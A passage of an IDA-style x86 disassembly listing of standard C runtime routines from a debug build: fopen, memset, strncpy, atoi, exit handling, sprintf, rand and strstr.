[ebp+var_10] sub eax, [ebp+var_C] xor edx, edx div [ebp+arg_4] jmp short loc_41E38B ; --------------------------------------------------------------------------- loc_41E32A: ; CODE XREF: sub_41E1C0+14Cj mov ecx, [ebp+var_C] sub ecx, [ebp+var_14] mov [ebp+var_C], ecx mov edx, [ebp+var_8] add edx, [ebp+var_14] mov [ebp+var_8], edx jmp short loc_41E383 ; --------------------------------------------------------------------------- loc_41E33E: ; CODE XREF: sub_41E1C0+DFj mov eax, [ebp+arg_C] push eax call sub_427100 add esp, 4 mov [ebp+var_4], eax cmp [ebp+var_4], 0FFFFFFFFh jnz short loc_41E360 mov eax, [ebp+var_10] sub eax, [ebp+var_C] xor edx, edx div [ebp+arg_4] jmp short loc_41E38B ; --------------------------------------------------------------------------- loc_41E360: ; CODE XREF: sub_41E1C0+191j mov ecx, [ebp+var_8] mov dl, byte ptr [ebp+var_4] mov [ecx], dl mov eax, [ebp+var_8] add eax, 1 mov [ebp+var_8], eax mov ecx, [ebp+var_C] sub ecx, 1 mov [ebp+var_C], ecx mov edx, [ebp+arg_C] mov eax, [edx+18h] mov [ebp+var_1C], eax loc_41E383: ; CODE XREF: sub_41E1C0+D4j ; sub_41E1C0+17Cj jmp loc_41E20B ; --------------------------------------------------------------------------- loc_41E388: ; CODE XREF: sub_41E1C0+4Fj mov eax, [ebp+arg_8] loc_41E38B: ; CODE XREF: sub_41E1C0+24j ; sub_41E1C0+143j ... mov esp, ebp pop ebp retn sub_41E1C0 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41E390 proc near ; CODE XREF: sub_41E490+Dp var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 8 push ebx push esi push edi loc_41E399: ; CODE XREF: sub_41E390+31j cmp [ebp+arg_0], 0 jnz short loc_41E3BD push offset aFileNull ; "file != NULL" push 0 push 35h push offset aFopen_c ; "fopen.c" push 2 call sub_422610 add esp, 14h cmp eax, 1 jnz short loc_41E3BD int 3 ; Trap to Debugger loc_41E3BD: ; CODE XREF: sub_41E390+Dj ; sub_41E390+2Aj xor eax, eax test eax, eax jnz short loc_41E399 loc_41E3C3: ; CODE XREF: sub_41E390+5Fj mov ecx, [ebp+arg_0] movsx edx, byte ptr [ecx] test edx, edx jnz short loc_41E3EB push offset aFile_t0 ; "*file != _T('\\0')" push 0 push 36h push offset aFopen_c ; "fopen.c" push 2 call sub_422610 add esp, 14h cmp eax, 1 jnz short loc_41E3EB int 3 ; Trap to Debugger loc_41E3EB: ; CODE XREF: sub_41E390+3Bj ; sub_41E390+58j xor eax, eax test eax, eax jnz short loc_41E3C3 loc_41E3F1: ; CODE XREF: sub_41E390+89j cmp [ebp+arg_4], 0 jnz short loc_41E415 push offset aModeNull ; "mode != NULL" push 0 push 37h push offset aFopen_c ; "fopen.c" push 2 call sub_422610 add esp, 14h cmp eax, 1 jnz short loc_41E415 int 3 ; Trap to Debugger loc_41E415: ; CODE XREF: sub_41E390+65j ; sub_41E390+82j xor ecx, ecx test ecx, ecx jnz short loc_41E3F1 loc_41E41B: ; CODE XREF: sub_41E390+B7j mov edx, [ebp+arg_4] movsx eax, byte ptr [edx] test eax, eax jnz short loc_41E443 push offset aMode_t0 ; "*mode != _T('\\0')" push 0 push 38h push offset aFopen_c ; "fopen.c" push 2 call sub_422610 add esp, 14h cmp eax, 1 jnz short loc_41E443 int 3 ; Trap to Debugger loc_41E443: ; CODE XREF: sub_41E390+93j ; sub_41E390+B0j xor ecx, ecx test ecx, ecx jnz short loc_41E41B call sub_427B60 mov [ebp+var_4], eax cmp [ebp+var_4], 0 jnz short loc_41E45B xor eax, eax jmp short loc_41E485 ; --------------------------------------------------------------------------- loc_41E45B: ; CODE XREF: sub_41E390+C5j mov edx, [ebp+var_4] push edx mov eax, [ebp+arg_8] push eax mov ecx, [ebp+arg_4] push ecx mov edx, [ebp+arg_0] push edx call sub_4277D0 add esp, 10h mov [ebp+var_8], eax mov eax, [ebp+var_4] push eax call sub_422490 add esp, 4 mov eax, [ebp+var_8] loc_41E485: ; CODE XREF: sub_41E390+C9j pop edi pop esi pop ebx mov esp, ebp pop ebp retn sub_41E390 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41E490 proc near ; CODE XREF: sub_4010AA+18p ; sub_401C87+596Bp ... arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push 40h mov eax, [ebp+arg_4] push eax mov ecx, [ebp+arg_0] push ecx call sub_41E390 add esp, 0Ch pop ebp retn sub_41E490 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_41E4B0 proc near ; CODE XREF: _0:00401207p _0:00401215p ... arg_0 = dword ptr 4 arg_4 = byte ptr 8 arg_8 = dword ptr 0Ch mov edx, [esp+arg_8] mov ecx, [esp+arg_0] test edx, edx jz short loc_41E503 xor eax, eax mov al, [esp+arg_4] push edi mov edi, ecx cmp edx, 4 jb short loc_41E4F7 neg ecx and ecx, 3 jz short loc_41E4D9 sub edx, ecx loc_41E4D3: ; CODE XREF: sub_41E4B0+27j mov [edi], al inc edi dec ecx jnz short loc_41E4D3 loc_41E4D9: ; CODE XREF: sub_41E4B0+1Fj mov ecx, eax shl eax, 8 add eax, ecx mov ecx, eax shl eax, 10h add eax, ecx mov ecx, edx and edx, 3 shr ecx, 2 jz short loc_41E4F7 rep stosd test edx, edx jz short loc_41E4FD loc_41E4F7: ; CODE XREF: sub_41E4B0+18j ; sub_41E4B0+3Fj ... mov [edi], al inc edi dec edx jnz short loc_41E4F7 loc_41E4FD: ; CODE XREF: sub_41E4B0+45j mov eax, [esp+4+arg_0] pop edi retn ; --------------------------------------------------------------------------- loc_41E503: ; CODE XREF: sub_41E4B0+Aj mov eax, [esp+arg_0] retn sub_41E4B0 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_41E510 proc near ; CODE XREF: sub_401404+48Ap ; sub_401404+4A6p ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch mov ecx, [esp+arg_8] push edi test ecx, ecx jz short loc_41E593 push esi push ebx mov ebx, ecx mov esi, [esp+0Ch+arg_4] test esi, 3 mov edi, [esp+0Ch+arg_0] jnz short loc_41E534 shr ecx, 2 jnz short loc_41E5A1 jmp short loc_41E555 ; --------------------------------------------------------------------------- loc_41E534: ; CODE XREF: sub_41E510+1Bj ; sub_41E510+37j mov al, [esi] inc esi mov [edi], al inc edi dec ecx jz short loc_41E562 test al, al jz short loc_41E56A test esi, 3 jnz short loc_41E534 mov ebx, ecx shr ecx, 2 jnz short loc_41E5A1 loc_41E550: ; CODE XREF: sub_41E510+8Fj and ebx, 3 jz short loc_41E562 loc_41E555: ; CODE XREF: sub_41E510+22j ; sub_41E510+50j mov al, [esi] inc esi mov [edi], al inc edi test al, al jz short loc_41E58E dec ebx jnz short loc_41E555 loc_41E562: ; CODE XREF: sub_41E510+2Bj ; sub_41E510+43j mov eax, [esp+0Ch+arg_0] pop ebx pop esi pop edi retn ; --------------------------------------------------------------------------- loc_41E56A: ; CODE XREF: sub_41E510+2Fj test edi, 3 jz short loc_41E584 loc_41E572: ; CODE XREF: sub_41E510+72j mov [edi], al inc edi dec ecx jz loc_41E606 test edi, 3 jnz short loc_41E572 loc_41E584: ; CODE XREF: sub_41E510+60j mov ebx, ecx shr ecx, 2 jnz short loc_41E5F7 loc_41E58B: ; CODE XREF: sub_41E510+7Fj ; sub_41E510+F4j mov [edi], al inc edi loc_41E58E: ; CODE XREF: sub_41E510+4Dj dec ebx jnz short loc_41E58B pop ebx pop esi loc_41E593: ; CODE XREF: sub_41E510+7j mov eax, [esp+4+arg_0] pop edi retn ; --------------------------------------------------------------------------- loc_41E599: ; CODE XREF: sub_41E510+A9j ; sub_41E510+C1j mov [edi], edx add edi, 4 dec ecx jz short loc_41E550 loc_41E5A1: ; CODE XREF: sub_41E510+20j ; sub_41E510+3Ej mov edx, 7EFEFEFFh mov eax, [esi] add edx, eax xor eax, 0FFFFFFFFh xor eax, edx mov edx, [esi] add esi, 4 test eax, 81010100h jz short loc_41E599 test dl, dl jz short loc_41E5EB test dh, dh jz short loc_41E5E1 test edx, 0FF0000h jz short loc_41E5D7 test edx, 0FF000000h jnz short loc_41E599 mov [edi], edx jmp short loc_41E5EF ; --------------------------------------------------------------------------- loc_41E5D7: ; CODE XREF: sub_41E510+B9j and edx, 0FFFFh mov [edi], edx jmp short loc_41E5EF ; --------------------------------------------------------------------------- loc_41E5E1: ; CODE XREF: sub_41E510+B1j and edx, 0FFh mov [edi], edx jmp short loc_41E5EF ; --------------------------------------------------------------------------- loc_41E5EB: ; CODE XREF: sub_41E510+ADj xor edx, edx mov [edi], edx loc_41E5EF: ; CODE XREF: sub_41E510+C5j ; sub_41E510+CFj ... add edi, 4 xor eax, eax dec ecx jz short loc_41E601 loc_41E5F7: ; CODE XREF: sub_41E510+79j xor eax, eax loc_41E5F9: ; CODE XREF: sub_41E510+EFj mov [edi], eax add edi, 4 dec ecx jnz short loc_41E5F9 loc_41E601: ; CODE XREF: sub_41E510+E5j and ebx, 3 jnz short loc_41E58B loc_41E606: ; CODE XREF: sub_41E510+66j mov eax, [esp+0Ch+arg_0] pop ebx pop esi pop edi retn sub_41E510 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41E610 proc near ; CODE XREF: sub_41E710+7p ; sub_433090+271p ... var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 14h loc_41E616: ; CODE XREF: sub_41E610+4Ej cmp ds:dword_453DF0, 1 jle short loc_41E636 push 8 mov eax, [ebp+arg_0] xor ecx, ecx mov cl, [eax] push ecx call sub_427040 add esp, 8 mov [ebp+var_10], eax jmp short loc_41E64F ; --------------------------------------------------------------------------- loc_41E636: ; CODE XREF: sub_41E610+Dj mov edx, [ebp+arg_0] xor eax, eax mov al, [edx] mov ecx, ds:off_453BE4 xor edx, edx mov dx, [ecx+eax*2] and edx, 8 mov [ebp+var_10], edx loc_41E64F: ; CODE XREF: sub_41E610+24j cmp [ebp+var_10], 0 jz short loc_41E660 mov eax, [ebp+arg_0] add eax, 1 mov [ebp+arg_0], eax jmp short loc_41E616 ; --------------------------------------------------------------------------- loc_41E660: ; CODE XREF: sub_41E610+43j mov ecx, [ebp+arg_0] xor edx, edx mov dl, [ecx] mov [ebp+var_4], edx mov eax, [ebp+arg_0] add eax, 1 mov [ebp+arg_0], eax mov ecx, [ebp+var_4] mov [ebp+var_C], ecx cmp [ebp+var_4], 2Dh jz short loc_41E685 cmp [ebp+var_4], 2Bh jnz short loc_41E698 loc_41E685: ; CODE XREF: sub_41E610+6Dj mov edx, [ebp+arg_0] xor eax, eax mov al, [edx] mov [ebp+var_4], eax mov ecx, [ebp+arg_0] add ecx, 1 mov [ebp+arg_0], ecx loc_41E698: ; CODE XREF: sub_41E610+73j mov [ebp+var_8], 0 loc_41E69F: ; CODE XREF: sub_41E610+E9j cmp ds:dword_453DF0, 1 jle short loc_41E6BB push 4 mov edx, [ebp+var_4] push edx call sub_427040 add esp, 8 mov [ebp+var_14], eax jmp short loc_41E6D0 ; --------------------------------------------------------------------------- loc_41E6BB: ; CODE XREF: sub_41E610+96j mov eax, [ebp+var_4] mov ecx, ds:off_453BE4 xor edx, edx mov dx, [ecx+eax*2] and edx, 4 mov [ebp+var_14], edx loc_41E6D0: ; CODE XREF: sub_41E610+A9j cmp [ebp+var_14], 0 jz short loc_41E6FB mov eax, [ebp+var_8] imul eax, 0Ah mov ecx, [ebp+var_4] lea edx, [eax+ecx-30h] mov [ebp+var_8], edx mov eax, [ebp+arg_0] xor ecx, ecx mov cl, [eax] mov [ebp+var_4], ecx mov edx, [ebp+arg_0] add edx, 1 mov [ebp+arg_0], edx jmp short loc_41E69F ; --------------------------------------------------------------------------- loc_41E6FB: ; CODE XREF: sub_41E610+C4j cmp [ebp+var_C], 2Dh jnz short loc_41E708 mov eax, [ebp+var_8] neg eax jmp short loc_41E70B ; --------------------------------------------------------------------------- loc_41E708: ; CODE XREF: sub_41E610+EFj mov eax, [ebp+var_8] loc_41E70B: ; CODE XREF: sub_41E610+F6j mov esp, ebp pop ebp retn sub_41E610 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41E710 proc near ; CODE XREF: sub_401404+2F4p ; sub_401C87+700p ... arg_0 = dword ptr 8 push ebp mov ebp, esp mov eax, [ebp+arg_0] push eax call sub_41E610 add esp, 4 pop ebp retn sub_41E710 endp ; --------------------------------------------------------------------------- align 10h push ebp mov ebp, esp sub esp, 18h push esi loc_41E737: ; CODE XREF: _0:0041E77Fj cmp ds:dword_453DF0, 1 jle short loc_41E757 push 8 mov eax, [ebp+8] xor ecx, ecx mov cl, [eax] push ecx call sub_427040 add esp, 8 mov [ebp-14h], eax jmp short loc_41E770 ; --------------------------------------------------------------------------- loc_41E757: ; CODE XREF: _0:0041E73Ej mov edx, [ebp+8] xor eax, eax mov al, [edx] mov ecx, ds:off_453BE4 xor edx, edx mov dx, [ecx+eax*2] and edx, 8 mov [ebp-14h], edx loc_41E770: ; CODE XREF: _0:0041E755j cmp dword ptr [ebp-14h], 0 jz short loc_41E781 mov eax, [ebp+8] add eax, 1 mov [ebp+8], eax jmp short loc_41E737 ; --------------------------------------------------------------------------- loc_41E781: ; CODE XREF: _0:0041E774j mov ecx, [ebp+8] xor edx, edx mov dl, [ecx] mov [ebp-4], edx mov eax, [ebp+8] add eax, 1 mov [ebp+8], eax mov ecx, [ebp-4] mov [ebp-10h], ecx cmp dword ptr [ebp-4], 2Dh jz short loc_41E7A6 cmp dword ptr [ebp-4], 2Bh jnz short loc_41E7B9 loc_41E7A6: ; CODE XREF: _0:0041E79Ej mov edx, [ebp+8] xor eax, eax mov al, [edx] mov [ebp-4], eax mov ecx, [ebp+8] add ecx, 1 mov [ebp+8], ecx loc_41E7B9: ; CODE XREF: _0:0041E7A4j mov dword ptr [ebp-0Ch], 0 mov dword ptr [ebp-8], 0 loc_41E7C7: ; CODE XREF: _0:0041E837j cmp ds:dword_453DF0, 1 jle short loc_41E7E3 push 4 mov edx, [ebp-4] push edx call sub_427040 add esp, 8 mov [ebp-18h], eax jmp short loc_41E7F8 ; --------------------------------------------------------------------------- loc_41E7E3: ; CODE XREF: _0:0041E7CEj mov eax, [ebp-4] mov ecx, ds:off_453BE4 xor edx, edx mov dx, [ecx+eax*2] and edx, 4 mov [ebp-18h], edx loc_41E7F8: ; CODE XREF: _0:0041E7E1j cmp dword ptr [ebp-18h], 0 jz short loc_41E839 push 0 push 0Ah mov eax, [ebp-8] push eax mov ecx, [ebp-0Ch] push ecx call sub_421180 mov ecx, eax mov esi, edx mov eax, [ebp-4] sub eax, 30h cdq add ecx, eax adc esi, edx mov [ebp-0Ch], ecx mov [ebp-8], esi mov edx, [ebp+8] xor eax, eax mov al, [edx] mov [ebp-4], eax mov ecx, [ebp+8] add ecx, 1 mov [ebp+8], ecx jmp short loc_41E7C7 ; --------------------------------------------------------------------------- loc_41E839: ; CODE XREF: _0:0041E7FCj cmp dword ptr [ebp-10h], 2Dh jnz short loc_41E84E mov eax, [ebp-0Ch] neg eax mov edx, [ebp-8] adc edx, 0 neg edx jmp short loc_41E854 ; --------------------------------------------------------------------------- loc_41E84E: ; CODE XREF: _0:0041E83Dj mov eax, [ebp-0Ch] mov edx, [ebp-8] loc_41E854: ; CODE XREF: _0:0041E84Cj pop esi mov esp, ebp pop ebp retn ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41E860 proc near ; CODE XREF: _0:004221D2p push ebp mov ebp, esp cmp ds:off_45181C, 0 jz short loc_41E872 call ds:off_45181C loc_41E872: ; CODE XREF: sub_41E860+Aj push offset dword_43F030 push offset dword_43F01C call sub_41EA30 add esp, 8 push offset dword_43F018 push offset dword_43F000 call sub_41EA30 add esp, 8 pop ebp retn sub_41E860 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41E8A0 proc near ; CODE XREF: _0:0042222Dp arg_0 = dword ptr 8 push ebp mov ebp, esp push 0 push 0 mov eax, [ebp+arg_0] push eax call sub_41E920 add esp, 0Ch pop ebp retn sub_41E8A0 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41E8C0 proc near ; CODE XREF: _0:00422254p ; sub_422270+22p ... arg_0 = dword ptr 8 push ebp mov ebp, esp push 0 push 1 mov eax, [ebp+arg_0] push eax call sub_41E920 add esp, 0Ch pop ebp retn sub_41E8C0 endp ; --------------------------------------------------------------------------- align 10h push ebp mov ebp, esp push 1 push 0 push 0 call sub_41E920 add esp, 0Ch pop ebp retn ; --------------------------------------------------------------------------- align 10h push ebp mov ebp, esp push 1 push 1 push 0 call sub_41E920 add esp, 0Ch pop ebp retn ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41E920 proc near ; CODE XREF: sub_41E8A0+Bp ; sub_41E8C0+Bp ... var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp push ecx call sub_41EA10 cmp ds:dword_4F3334, 1 jnz short loc_41E943 mov eax, [ebp+arg_0] push eax call ds:dword_4F53CC ; GetCurrentProcess push eax call ds:dword_4F53C4 ; TerminateProcess loc_41E943: ; CODE XREF: sub_41E920+10j mov ds:dword_4F3330, 1 mov cl, byte ptr [ebp+arg_8] mov ds:byte_4F332C, cl cmp [ebp+arg_4], 0 jnz short loc_41E9A3 cmp ds:dword_4F4A34, 0 jz short loc_41E991 mov edx, ds:dword_4F4A30 mov [ebp+var_4], edx loc_41E96E: ; CODE XREF: sub_41E920:loc_41E98Fj mov eax, [ebp+var_4] sub eax, 4 mov [ebp+var_4], eax mov ecx, [ebp+var_4] cmp ecx, ds:dword_4F4A34 jb short loc_41E991 mov edx, [ebp+var_4] cmp dword ptr [edx], 0 jz short loc_41E98F mov eax, [ebp+var_4] call dword ptr [eax] loc_41E98F: ; CODE XREF: sub_41E920+68j jmp short loc_41E96E ; --------------------------------------------------------------------------- loc_41E991: ; CODE XREF: sub_41E920+43j ; sub_41E920+60j push offset dword_43F03C push offset dword_43F034 call sub_41EA30 add esp, 8 loc_41E9A3: ; CODE XREF: sub_41E920+3Aj push offset dword_43F048 push offset dword_43F040 call sub_41EA30 add esp, 8 cmp ds:dword_4F3338, 0 jnz short loc_41E9DE push 0FFFFFFFFh call sub_41D580 add esp, 4 and eax, 20h test eax, eax jz short loc_41E9DE mov ds:dword_4F3338, 1 call sub_41E030 loc_41E9DE: ; CODE XREF: sub_41E920+9Cj ; sub_41E920+ADj cmp [ebp+arg_8], 0 jz short loc_41E9EB call sub_41EA20 jmp short loc_41E9FF ; --------------------------------------------------------------------------- loc_41E9EB: ; CODE XREF: sub_41E920+C2j mov ds:dword_4F3334, 1 mov ecx, [ebp+arg_0] push ecx call ds:off_4F5338 loc_41E9FF: ; CODE XREF: sub_41E920+C9j mov esp, ebp pop ebp retn sub_41E920 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41EA10 proc near ; CODE XREF: sub_41E920+4p ; sub_420C50+4p push ebp mov ebp, esp push 0Dh call sub_423280 add esp, 4 pop ebp retn sub_41EA10 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41EA20 proc near ; CODE XREF: sub_41E920+C4p ; sub_420C50+61p ... push ebp mov ebp, esp push 0Dh call sub_423320 add esp, 4 pop ebp retn sub_41EA20 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41EA30 proc near ; CODE XREF: sub_41E860+1Cp ; sub_41E860+2Ep ... arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp loc_41EA33: ; CODE XREF: sub_41EA30+21j mov eax, [ebp+arg_0] cmp eax, [ebp+arg_4] jnb short loc_41EA53 mov ecx, [ebp+arg_0] cmp dword ptr [ecx], 0 jz short loc_41EA48 mov edx, [ebp+arg_0] call dword ptr [edx] loc_41EA48: ; CODE XREF: sub_41EA30+11j mov eax, [ebp+arg_0] add eax, 4 mov [ebp+arg_0], eax jmp short loc_41EA33 ; --------------------------------------------------------------------------- loc_41EA53: ; CODE XREF: sub_41EA30+9j pop ebp retn sub_41EA30 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41EA60 proc near ; CODE XREF: sub_401404+18Cp ; sub_401404+283p ... var_30 = dword ptr -30h var_2C = dword ptr -2Ch var_28 = dword ptr -28h var_24 = dword ptr -24h var_20 = byte ptr -20h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = byte ptr 10h push ebp mov ebp, esp sub esp, 30h push ebx push esi push edi lea eax, [ebp+var_20] mov [ebp+var_24], eax lea ecx, [ebp+arg_8] mov [ebp+var_2C], ecx loc_41EA75: ; CODE XREF: sub_41EA60+3Dj cmp [ebp+arg_0], 0 jnz short loc_41EA99 push offset aStringNull ; "string != NULL" push 0 push 5Dh push offset aSprintf_c ; "sprintf.c" push 2 call sub_422610 add esp, 14h cmp eax, 1 jnz short loc_41EA99 int 3 ; Trap to Debugger loc_41EA99: ; CODE XREF: sub_41EA60+19j ; sub_41EA60+36j xor edx, edx test edx, edx jnz short loc_41EA75 loc_41EA9F: ; CODE XREF: sub_41EA60+67j cmp [ebp+arg_4], 0 jnz short loc_41EAC3 push offset aFormatNull ; "format != NULL" push 0 push 5Eh push offset aSprintf_c ; "sprintf.c" push 2 call sub_422610 add esp, 14h cmp eax, 1 jnz short loc_41EAC3 int 3 ; Trap to Debugger loc_41EAC3: ; CODE XREF: sub_41EA60+43j ; sub_41EA60+60j xor eax, eax test eax, eax jnz short loc_41EA9F mov ecx, [ebp+var_24] mov dword ptr [ecx+0Ch], 42h mov edx, [ebp+var_24] mov eax, [ebp+arg_0] mov [edx+8], eax mov ecx, [ebp+var_24] mov edx, [ebp+arg_0] mov [ecx], edx mov eax, [ebp+var_24] mov dword ptr [eax+4], 7FFFFFFFh mov ecx, [ebp+var_2C] push ecx mov edx, [ebp+arg_4] push edx mov eax, [ebp+var_24] push eax call sub_427F60 add esp, 0Ch mov [ebp+var_28], eax mov ecx, [ebp+var_24] mov edx, [ecx+4] sub edx, 1 mov eax, [ebp+var_24] mov [eax+4], edx mov ecx, [ebp+var_24] cmp dword ptr [ecx+4], 0 jl short loc_41EB3F mov edx, [ebp+var_24] mov eax, [edx] mov byte ptr [eax], 0 xor ecx, ecx and ecx, 0FFh mov [ebp+var_30], ecx mov edx, [ebp+var_24] mov eax, [edx] add eax, 1 mov ecx, [ebp+var_24] mov [ecx], eax jmp short loc_41EB50 ; --------------------------------------------------------------------------- loc_41EB3F: ; CODE XREF: sub_41EA60+BBj mov edx, [ebp+var_24] push edx push 0 call sub_427CE0 add esp, 8 mov [ebp+var_30], eax loc_41EB50: ; CODE XREF: sub_41EA60+DDj mov eax, [ebp+var_28] pop edi pop esi pop ebx mov esp, ebp pop ebp retn sub_41EA60 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41EB60 proc near ; CODE XREF: sub_401404+45p ; sub_401C87+31ACp ... arg_0 = dword ptr 8 push ebp mov ebp, esp call sub_428EE0 mov ecx, [ebp+arg_0] mov [eax+14h], ecx pop ebp retn sub_41EB60 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41EB70 proc near ; CODE XREF: sub_401404:loc_401559p ; sub_401404:loc_401875p ... var_4 = dword ptr -4 push ebp mov ebp, esp push ecx call sub_428EE0 mov [ebp+var_4], eax mov eax, [ebp+var_4] mov ecx, [eax+14h] imul ecx, 343FDh add ecx, 269EC3h mov edx, [ebp+var_4] mov [edx+14h], ecx mov eax, [ebp+var_4] mov eax, [eax+14h] shr eax, 10h and eax, 7FFFh mov esp, ebp pop ebp retn sub_41EB70 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_41EBB0 proc near ; CODE XREF: sub_401404+12Ap ; sub_401C87+8Cp ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 mov ecx, [esp+arg_4] push edi push ebx push esi mov dl, [ecx] mov edi, [esp+0Ch+arg_0] test dl, dl jz short loc_41EC2A mov dh, [ecx+1] test dh, dh jz short loc_41EC17 loc_41EBC8: ; CODE XREF: sub_41EBB0+52j ; sub_41EBB0+65j mov esi, edi mov ecx, [esp+0Ch+arg_4] mov al, [edi] inc esi cmp al, dl jz short loc_41EBEA test al, al jz short loc_41EBE4 loc_41EBD9: ; CODE XREF: sub_41EBB0+32j mov al, [esi] inc esi loc_41EBDC: ; CODE XREF: sub_41EBB0+3Fj cmp al, dl jz short loc_41EBEA test al, al jnz short loc_41EBD9 loc_41EBE4: ; CODE XREF: sub_41EBB0+27j pop esi pop ebx pop edi xor eax, eax retn ; --------------------------------------------------------------------------- loc_41EBEA: ; CODE XREF: sub_41EBB0+23j ; sub_41EBB0+2Ej mov al, [esi] inc esi cmp al, dh jnz short loc_41EBDC lea edi, [esi-1] loc_41EBF4: ; CODE XREF: sub_41EBB0+63j mov ah, [ecx+2] test ah, ah jz short loc_41EC23 mov al, [esi] add esi, 2 cmp al, ah jnz short loc_41EBC8 mov al, [ecx+3] test al, al jz short loc_41EC23 mov ah, [esi-1] add ecx, 2 cmp al, ah jz short loc_41EBF4 jmp short loc_41EBC8 ; --------------------------------------------------------------------------- loc_41EC17: ; CODE XREF: sub_41EBB0+16j xor eax, eax pop esi pop ebx pop edi mov al, dl jmp loc_41F726 ; --------------------------------------------------------------------------- loc_41EC23: ; CODE XREF: sub_41EBB0+49j ; sub_41EBB0+59j lea eax, [edi-1] pop esi pop ebx pop edi retn ; --------------------------------------------------------------------------- loc_41EC2A: ; CODE XREF: sub_41EBB0+Fj mov eax, edi pop esi pop ebx pop edi retn sub_41EBB0 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41EC30 proc near ; CODE XREF: sub_401404+117p ; sub_401C87+1C23p ... var_30 = dword ptr -30h var_2C = dword ptr -2Ch var_28 = dword ptr -28h var_24 = dword ptr -24h var_20 = byte ptr -20h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = byte ptr 14h push ebp mov ebp, esp sub esp, 30h push ebx push esi push edi lea eax, [ebp+var_20] mov [ebp+var_24], eax lea ecx, [ebp+arg_C] mov [ebp+var_2C], ecx loc_41EC45: ; CODE XREF: sub_41EC30+3Dj cmp [ebp+arg_0], 0 jnz short loc_41EC69 push offset aStringNull ; "string != NULL" push 0 push 5Dh push offset aSprintf_c ; "sprintf.c" push 2 call sub_422610 add esp, 14h cmp eax, 1 jnz short loc_41EC69 int 3 ; Trap to Debugger loc_41EC69: ; CODE XREF: sub_41EC30+19j ; sub_41EC30+36j xor edx, edx test edx, edx jnz short loc_41EC45 loc_41EC6F: ; CODE XREF: sub_41EC30+67j cmp [ebp+arg_8], 0 jnz short loc_41EC93 push offset aFormatNull ; "format != NULL" push 0 push 5Eh push offset aSprintf_c ; "sprintf.c" push 2 call sub_422610 add esp, 14h cmp eax, 1 jnz short loc_41EC93 int 3 ; Trap to Debugger loc_41EC93: ; CODE XREF: sub_41EC30+43j ; sub_41EC30+60j xor eax, eax test eax, eax jnz short loc_41EC6F mov ecx, [ebp+var_24] mov dword ptr [ecx+0Ch], 42h mov edx, [ebp+var_24] mov eax, [ebp+arg_0] mov [edx+8], eax mov ecx, [ebp+var_24] mov edx, [ebp+arg_0] mov [ecx], edx mov eax, [ebp+var_24] mov ecx, [ebp+arg_4] mov [eax+4], ecx mov edx, [ebp+var_2C] push edx mov eax, [ebp+arg_8] push eax mov ecx, [ebp+var_24] push ecx call sub_427F60 add esp, 0Ch mov [ebp+var_28], eax mov edx, [ebp+var_24] mov eax, [edx+4] sub eax, 1 mov ecx, [ebp+var_24] mov [ecx+4], eax mov edx, [ebp+var_24] cmp dword ptr [edx+4], 0 jl short loc_41ED0E mov eax, [ebp+var_24] mov ecx, [eax] mov byte ptr [ecx], 0 xor edx, edx and edx, 0FFh mov [ebp+var_30], edx mov eax, [ebp+var_24] mov ecx, [eax] add ecx, 1 mov edx, [ebp+var_24] mov [edx], ecx jmp short loc_41ED1F ; --------------------------------------------------------------------------- loc_41ED0E: ; CODE XREF: sub_41EC30+BAj mov eax, [ebp+var_24] push eax push 0 call sub_427CE0 add esp, 8 mov [ebp+var_30], eax loc_41ED1F: ; CODE XREF: sub_41EC30+DCj mov eax, [ebp+var_28] pop edi pop esi pop ebx mov esp, ebp pop ebp retn sub_41EC30 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41ED30 proc near ; CODE XREF: sub_401404+F7p ; sub_401C87+2175p ... var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr 